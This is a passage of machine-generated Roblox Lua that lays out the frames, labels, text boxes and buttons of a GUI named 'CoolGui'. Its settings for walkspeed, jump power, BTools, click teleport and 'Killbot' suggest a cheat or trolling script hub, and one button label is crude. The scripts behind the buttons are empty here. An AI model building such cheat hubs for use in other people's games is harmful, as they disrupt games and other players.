[[Label]]; G2L["30"]["Position"] = UDim2.new(0, 0, 0.44898, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label G2L["31"] = Instance.new("TextLabel", G2L["2a"]); G2L["31"]["BorderSizePixel"] = 3; G2L["31"]["TextSize"] = 14; G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["31"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["31"]["Text"] = [[JumpPower Amount]]; G2L["31"]["Name"] = [[Label]]; G2L["31"]["Position"] = UDim2.new(0, 0, 0.67347, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.gravid G2L["32"] = Instance.new("TextBox", G2L["2a"]); G2L["32"]["Name"] = [[gravid]]; G2L["32"]["BorderSizePixel"] = 3; G2L["32"]["TextSize"] = 14; G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["32"]["Position"] = UDim2.new(0, 0, 0, 165); G2L["32"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["32"]["Text"] = [[0]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1 G2L["33"] = Instance.new("Frame", G2L["28"]); G2L["33"]["Active"] = true; G2L["33"]["BorderSizePixel"] = 3; G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["33"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["33"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label G2L["34"] = Instance.new("TextLabel", G2L["33"]); G2L["34"]["BorderSizePixel"] = 3; G2L["34"]["TextSize"] = 14; G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["34"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["34"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["34"]["Text"] = [[Billboard Gui Color]]; G2L["34"]["Name"] = [[Label]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.are G2L["35"] = Instance.new("TextBox", G2L["33"]); G2L["35"]["Name"] = [[are]]; G2L["35"]["BorderSizePixel"] = 3; G2L["35"]["TextSize"] = 14; G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35"]["Size"] = UDim2.new(0.333, 0, 0, 30); G2L["35"]["Position"] = UDim2.new(0, 0, 0, 33); G2L["35"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["35"]["Text"] = [[0]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.animid G2L["36"] = Instance.new("TextBox", G2L["33"]); G2L["36"]["Name"] = [[animid]]; G2L["36"]["BorderSizePixel"] = 3; G2L["36"]["TextSize"] = 14; G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["36"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["36"]["Position"] = UDim2.new(0, 0, 0, 99); G2L["36"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["36"]["Text"] = [[161099825]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label G2L["37"] = Instance.new("TextLabel", G2L["33"]); G2L["37"]["BorderSizePixel"] = 3; G2L["37"]["TextSize"] = 14; G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["37"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["37"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["37"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["37"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["37"]["Text"] = [[Animation ID]]; G2L["37"]["Name"] = [[Label]]; G2L["37"]["Position"] = UDim2.new(0, 0, 0.22449, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label G2L["38"] = Instance.new("TextLabel", G2L["33"]); G2L["38"]["BorderSizePixel"] = 3; G2L["38"]["TextSize"] = 14; G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["38"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["38"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["38"]["Text"] = [[Animation Speed]]; G2L["38"]["Name"] = [[Label]]; G2L["38"]["Position"] = UDim2.new(0, 0, 0.44898, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label G2L["39"] = Instance.new("TextLabel", G2L["33"]); G2L["39"]["BorderSizePixel"] = 3; G2L["39"]["TextSize"] = 14; G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["39"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["39"]["Text"] = [[Walkspeed Amount]]; G2L["39"]["Name"] = [[Label]]; G2L["39"]["Position"] = UDim2.new(0, 0, 0.67347, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.walkid G2L["3a"] = Instance.new("TextBox", G2L["33"]); G2L["3a"]["Name"] = [[walkid]]; G2L["3a"]["BorderSizePixel"] = 3; G2L["3a"]["TextSize"] = 14; G2L["3a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3a"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["3a"]["Position"] = UDim2.new(0, 0, 0, 231); G2L["3a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3a"]["Text"] = [[50]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.gee G2L["3b"] = Instance.new("TextBox", G2L["33"]); G2L["3b"]["Name"] = [[gee]]; G2L["3b"]["BorderSizePixel"] = 3; G2L["3b"]["TextSize"] = 14; G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["Size"] = UDim2.new(0.333, 0, 0, 30); G2L["3b"]["Position"] = UDim2.new(0, 49, 0, 33); G2L["3b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3b"]["Text"] = [[255]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.bee G2L["3c"] = Instance.new("TextBox", G2L["33"]); G2L["3c"]["Name"] = [[bee]]; G2L["3c"]["BorderSizePixel"] = 3; G2L["3c"]["TextSize"] = 14; G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3c"]["ClearTextOnFocus"] = false; G2L["3c"]["Size"] = UDim2.new(0.33, 0, 0, 30); G2L["3c"]["Position"] = UDim2.new(0, 97, 0, 33); G2L["3c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3c"]["Text"] = [[0]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section1.asid G2L["3d"] = Instance.new("TextBox", G2L["33"]); G2L["3d"]["Name"] = [[asid]]; G2L["3d"]["BorderSizePixel"] = 3; G2L["3d"]["TextSize"] = 14; G2L["3d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3d"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["3d"]["Position"] = UDim2.new(0, 0, 0, 165); G2L["3d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3d"]["Text"] = [[1]]; -- StarterGui.CoolGui.Frame.Page2 G2L["3e"] = Instance.new("Frame", G2L["2"]); G2L["3e"]["Visible"] = false; G2L["3e"]["ZIndex"] = 2; G2L["3e"]["BorderSizePixel"] = 3; G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3e"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["3e"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["3e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3e"]["Name"] = [[Page2]]; -- StarterGui.CoolGui.Frame.Page2.PageLabel G2L["3f"] = Instance.new("TextLabel", G2L["3e"]); G2L["3f"]["ZIndex"] = 3; G2L["3f"]["BorderSizePixel"] = 3; G2L["3f"]["TextSize"] = 18; G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3f"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["3f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3f"]["Text"] = [[Page 2]]; G2L["3f"]["Name"] = [[PageLabel]]; G2L["3f"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page2.Section2 G2L["40"] = Instance.new("Frame", G2L["3e"]); G2L["40"]["Active"] = true; G2L["40"]["ZIndex"] = 2; G2L["40"]["BorderSizePixel"] = 3; G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["40"]["Position"] = UDim2.new(0.49, 3, 0, 0); G2L["40"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["40"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Page2.Section2.SectionTitle G2L["41"] = Instance.new("TextLabel", G2L["40"]); G2L["41"]["BorderSizePixel"] = 3; G2L["41"]["TextSize"] = 14; G2L["41"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["41"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["41"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["41"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["41"]["Text"] = [[Gear/Tools]]; G2L["41"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["42"] = Instance.new("TextButton", G2L["40"]); G2L["42"]["BorderSizePixel"] = 3; G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["42"]["TextSize"] = 14; G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["42"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["42"]["Name"] = [[Button]]; G2L["42"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["42"]["Text"] = [[F3X BTools]]; G2L["42"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["43"] = Instance.new("LocalScript", G2L["42"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["44"] = Instance.new("TextButton", G2L["40"]); G2L["44"]["BorderSizePixel"] = 3; G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["TextSize"] = 14; G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["44"]["Name"] = [[Button]]; G2L["44"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["44"]["Text"] = [[Gravity Gun]]; G2L["44"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["45"] = Instance.new("LocalScript", G2L["44"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["46"] = Instance.new("TextButton", G2L["40"]); G2L["46"]["BorderSizePixel"] = 3; G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["46"]["TextSize"] = 14; G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["46"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["46"]["Name"] = [[Button]]; G2L["46"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["46"]["Text"] = [[Jerk Off]]; G2L["46"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["47"] = Instance.new("LocalScript", G2L["46"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["48"] = Instance.new("TextButton", G2L["40"]); G2L["48"]["BorderSizePixel"] = 3; G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["48"]["TextSize"] = 14; G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["48"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["48"]["Name"] = [[Button]]; G2L["48"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["48"]["Text"] = [[Punch]]; G2L["48"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["49"] = Instance.new("LocalScript", G2L["48"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["4a"] = Instance.new("TextButton", G2L["40"]); G2L["4a"]["TextWrapped"] = true; G2L["4a"]["BorderSizePixel"] = 3; G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4a"]["TextSize"] = 14; G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["4a"]["Name"] = [[Button]]; G2L["4a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["4a"]["Text"] = [[Linked Sword]]; G2L["4a"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["4b"] = Instance.new("LocalScript", G2L["4a"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["4c"] = Instance.new("TextButton", G2L["40"]); G2L["4c"]["TextWrapped"] = true; G2L["4c"]["BorderSizePixel"] = 3; G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4c"]["TextSize"] = 14; G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4c"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["4c"]["Name"] = [[Button]]; G2L["4c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["4c"]["Text"] = [[Classic BTools]]; G2L["4c"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["4d"] = Instance.new("LocalScript", G2L["4c"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["4e"] = Instance.new("TextButton", G2L["40"]); G2L["4e"]["TextWrapped"] = true; G2L["4e"]["BorderSizePixel"] = 3; G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4e"]["TextSize"] = 14; G2L["4e"]["TextScaled"] = true; G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4e"]["Size"] = UDim2.new(0.475, 0, 0, 30); G2L["4e"]["Name"] = [[Button]]; G2L["4e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["4e"]["Text"] = [[Firebrand Sword]]; G2L["4e"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["4f"] = Instance.new("LocalScript", G2L["4e"]); -- StarterGui.CoolGui.Frame.Page2.Section2.Button G2L["50"] = Instance.new("TextButton", G2L["40"]); G2L["50"]["BorderSizePixel"] = 3; G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["50"]["TextSize"] = 14; G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["50"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["50"]["Name"] = [[Button]]; G2L["50"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["50"]["Text"] = [[Click Teleport]]; G2L["50"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript G2L["51"] = Instance.new("LocalScript", G2L["50"]); -- StarterGui.CoolGui.Frame.Page2.Section1 G2L["52"] = Instance.new("Frame", G2L["3e"]); G2L["52"]["Active"] = true; G2L["52"]["BorderSizePixel"] = 3; G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["52"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["52"]["Position"] = UDim2.new(0, 1, 0, 0); G2L["52"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["52"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Page2.Section1.SectionTitle G2L["53"] = Instance.new("TextLabel", G2L["52"]); G2L["53"]["BorderSizePixel"] = 3; G2L["53"]["TextSize"] = 14; G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["53"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["53"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["53"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["53"]["Text"] = [[Weapon Scripts]]; G2L["53"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["54"] = Instance.new("TextButton", G2L["52"]); G2L["54"]["BorderSizePixel"] = 3; G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["54"]["TextSize"] = 14; G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["54"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["54"]["Name"] = [[Button]]; G2L["54"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["54"]["Text"] = [[Zombie]]; G2L["54"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["55"] = Instance.new("LocalScript", G2L["54"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["56"] = Instance.new("TextButton", G2L["52"]); G2L["56"]["BorderSizePixel"] = 3; G2L["56"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["56"]["TextSize"] = 14; G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["56"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["56"]["Name"] = [[Button]]; G2L["56"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["56"]["Text"] = [[JoJo Gloves]]; G2L["56"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["57"] = Instance.new("LocalScript", G2L["56"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["58"] = Instance.new("TextButton", G2L["52"]); G2L["58"]["TextWrapped"] = true; G2L["58"]["BorderSizePixel"] = 3; G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["58"]["TextSize"] = 14; G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["58"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["58"]["Name"] = [[Button]]; G2L["58"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["58"]["Text"] = [[SCP-096]]; G2L["58"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["59"] = Instance.new("LocalScript", G2L["58"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["5a"] = Instance.new("TextButton", G2L["52"]); G2L["5a"]["TextWrapped"] = true; G2L["5a"]["BorderSizePixel"] = 3; G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5a"]["TextSize"] = 14; G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5a"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["5a"]["Name"] = [[Button]]; G2L["5a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["5a"]["Text"] = [[Killbot]]; G2L["5a"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["5b"] = Instance.new("LocalScript", G2L["5a"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["5c"] = Instance.new("TextButton", G2L["52"]); G2L["5c"]["BorderSizePixel"] = 3; G2L["5c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5c"]["TextSize"] = 14; G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5c"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["5c"]["Name"] = [[Button]]; G2L["5c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["5c"]["Text"] = [[Exotic Cult]]; G2L["5c"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["5d"] = Instance.new("LocalScript", G2L["5c"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["5e"] = Instance.new("TextButton", G2L["52"]); G2L["5e"]["BorderSizePixel"] = 3; G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5e"]["TextSize"] = 14; G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["5e"]["Name"] = [[Button]]; G2L["5e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["5e"]["Text"] = [[Xester]]; G2L["5e"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["5f"] = Instance.new("LocalScript", G2L["5e"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["60"] = Instance.new("TextButton", G2L["52"]); G2L["60"]["BorderSizePixel"] = 3; G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["60"]["TextSize"] = 14; G2L["60"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["60"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["60"]["Name"] = [[Button]]; G2L["60"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["60"]["Text"] = [[Seraphic Blade]]; G2L["60"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["61"] = Instance.new("LocalScript", G2L["60"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["62"] = Instance.new("TextButton", G2L["52"]); G2L["62"]["BorderSizePixel"] = 3; G2L["62"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["62"]["TextSize"] = 14; G2L["62"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["62"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["62"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["62"]["Name"] = [[Button]]; G2L["62"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["62"]["Text"] = [[John Doe]]; G2L["62"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["63"] = Instance.new("LocalScript", G2L["62"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["64"] = Instance.new("TextButton", G2L["52"]); G2L["64"]["BorderSizePixel"] = 3; G2L["64"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["64"]["TextSize"] = 14; G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["64"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["64"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["64"]["Name"] = [[Button]]; G2L["64"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["64"]["Text"] = [[Nero]]; G2L["64"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["65"] = Instance.new("LocalScript", G2L["64"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["66"] = Instance.new("TextButton", G2L["52"]); G2L["66"]["TextWrapped"] = true; G2L["66"]["BorderSizePixel"] = 3; G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["66"]["TextSize"] = 14; G2L["66"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["66"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["66"]["Name"] = [[Button]]; G2L["66"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["66"]["Text"] = [[Sonic The Hedgehog]]; G2L["66"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["67"] = Instance.new("LocalScript", G2L["66"]); -- 